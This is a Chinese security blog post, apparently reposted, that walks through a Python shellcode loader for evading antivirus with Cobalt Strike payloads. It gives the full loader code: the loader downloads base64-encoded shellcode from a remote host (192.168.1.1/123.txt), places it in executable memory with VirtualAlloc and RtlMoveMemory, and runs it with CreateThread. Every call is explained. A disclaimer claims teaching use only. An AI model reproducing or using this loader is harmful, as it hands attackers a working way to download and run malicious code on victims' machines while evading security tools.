文章总结： 本文详细介绍了使用Python实现CS免杀的ShellcodeLoader原理，包括分离免杀的基本概念和Python代码实现。文章解释了如何使用ctypes库调用系统函数，申请内存空间，将shellcode载入内存并执行。通过将loader和shellcode分离，可以绕过安全检测。文章提供了完整的代码示例和函数参数解释，适合对免杀技术感兴趣的初学者学习。
综合评分： 87
文章分类： 免杀,渗透测试,代码审计,WEB安全,红队

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

渗透Xiao白帽

2021年2月5日 00:00

编者荐语：

很细节！

以下文章来源于XG小刚
，作者XG小刚

XG小刚
.

小刚知识库，一线厂商渗透多年，涉及Web安全，waf绕过，代码审计，操作系统，内网渗透，免杀技术，Python编程，乱七杂八等等。

一位苦于信息安全的萌新小白帽

本实验仅用于信息防御教学，切勿用于它用途

公众号：XG小刚

shellcode和loader

最近在学习cs免杀，由于比较菜只懂python语言，就先了解py是如何实现加载shellcode写入内存的。

shellcode是一段用于利用软件漏洞而执行的代码

shellcode loader是用来运行此代码的加载器

shellcode比作子弹的话，loader就是把枪，两者缺一不可

枪和子弹在一起才有威胁性肯定不让过安检啊
当只有loader这边枪时，没子弹构不成威胁，所以可能会绕过免杀
当只有shellcode时，只有子弹没有枪，也可能会绕过免杀

上面就是分离免杀的大致原理,将loader上传到主机，用loader加载shellcode

shellcode

我们在用cs生成payload时，会生成一段特定编程语言的代码（以python为例）

里面一长串\xfc样式的16进制代码，这就是子弹shellcode

但光有子弹不行，所以我们需要一把枪loader才能让他发挥作用。

loader加载器

这里找了一个网上的python内存加载器

本文主要写的也是关于该加载器的实现原理，和调用参数的分析

import ctypesimport requestsimport base64
scode = requests.get("http://192.168.1.1/123.txt")shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                          ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000),                                          ctypes.c_int(0x40))                                          buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                     buf,                                     ctypes.c_int(len(shellcode)))                                     handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.c_uint64(ptr),                                         ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

ctypes库

python的ctypes模块是内建，用来调用系统动态链接库函数的模块

使用ctypes库可以很方便地调用C语言的动态链接库，并可以向其传递参数。

import ctypesimport requestsimport base64

读取shellcode

我是将shellcode生成后，使用base64编码，放在了服务器123.txt文件上

由于后面操作是将代码写入内存，所以需要将代码解码并转为字节类型

scode = requests.get("http://192.168.1.1/123.txt")shellcode = bytearray(base64.b64decode(scode.text).decode('hex'))

设置返回类型

我们需要用VirtualAlloc函数来申请内存，返回类型必须和系统位数相同

想在64位系统上运行，必须使用restype函数设置VirtualAlloc返回类型为ctypes.c_unit64，否则默认的是 32 位

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64

申请内存

调用VirtualAlloc函数，来申请一块动态内存区域。

VirtualAlloc函数原型和参数如下：

LPVOID&nbsp;VirtualAlloc{LPVOID lpAddress, #要分配的内存区域的地址DWORD dwSize,      #分配的大小DWORD flAllocationType, #分配的类型DWORD flProtect     #该内存的初始保护属性};

申请一块内存可读可写可执行

ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),                                          ctypes.c_int(len(shellcode)),                                          ctypes.c_int(0x3000),&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ctypes.c_int(0x40))

具体参考百度百科：https://baike.baidu.com/item/VirtualAlloc/1606859?fr=aladdin

将shellcode载入内存

调用RtlMoveMemory函数，此函数从指定内存中复制内容至另一内存里。

RtlMoveMemory函数原型和参数如下:

RtlMoveMemory(Destination,Source,Length);Destination ：指向移动目的地址的指针。Source ：指向要复制的内存地址的指针。Length ：指定要复制的字节数。

从指定内存地址将内容复制到我们申请的内存中去，shellcode字节多大就复制多大

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),                                     buf,                                     ctypes.c_int(len(shellcode)))

创建进程

调用CreateThread将在主线程的基础上创建一个新线程

CreateThread函数原型和参数如下：

HANDLE&nbsp;CreateThread(LPSECURITY_ATTRIBUTES lpThreadAttributes,#线程安全属性SIZE_T dwStackSize,       #置初始栈的大小，以字节为单位LPTHREAD_START_ROUTINE lpStartAddress,  #指向线程函数的指针LPVOID lpParameter,          #向线程函数传递的参数DWORD&nbsp;dwCreationFlags,&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;#线程创建属性LPDWORD lpThreadId           #保存新线程的id)

创建一个线程从shellcode放置位置开始执行

handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.c_uint64(ptr),                                         ctypes.c_int(0),                                         ctypes.c_int(0),                                         ctypes.pointer(ctypes.c_int(0)))

具体参考百度百科：https://baike.baidu.com/item/CreateThread/8222652?fr=aladdin

等待线程结束

调用WaitForSingleObject函数用来检测线程的状态

WaitForSingleObject函数原型和参数如下：

DWORD WINAPI WaitForSingleObject(__in HANDLE hHandle,     #对象句柄。可以指定一系列的对象__in DWORD dwMilliseconds  #定时时间间隔);

等待创建的线程运行结束

ctypes.windll.kernel32.WaitForSingleObject(                                           ctypes.c_int(handle),&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ctypes.c_int(-1))

这里两个参数，一个是创建的线程，一个是等待时间

当线程退出时会给出一个信号，函数收到后会结束程序。

当时间设置为0或超过等待时间，程序也会结束，所以线程也会跟着结束。

正常的话我们创建的线程是需要一直运行的，所以将时间设为负数，等待时间将成为无限等待，程序就不会结束。

具体参考百度百科：https://baike.baidu.com/item/WaitForSingleObject/3534838?fr=aladdin

总结

上面loader大致原理就是申请一块内存，将代码字节存入该内存，然后开始运行该内存储存的程序，并让该程序一直运行下去。

本人比较菜，有啥理解错误，请大佬告知。

至于免杀等后续文章，介绍几种免杀的思路。

【往期推荐】

未授权访问漏洞汇总

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

走过路过的大佬们留个关注再走呗

往期文章有彩蛋哦

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：渗透Xiao白帽《【超详细 | Python】CS免杀-Shellcode Loader原理(python)》

Tags: WEB安全代码审计免杀渗透测试红队

你可能错过

【安全圈】Next.js曝光9.5分严重漏洞：动态制图缺陷致服务端RCE

「济公」游本昌去世；罗永浩再评小米 18 Fold；Meta 推出手持设备 Muse Charm｜极客早知道

【客户端安全】代理绕过127监听CDP+Websocket协议未授权RCE漏洞

别再把LLM当扫描器用了：CyberStrike把Claude订阅变成了一个会自己思考的红队操作员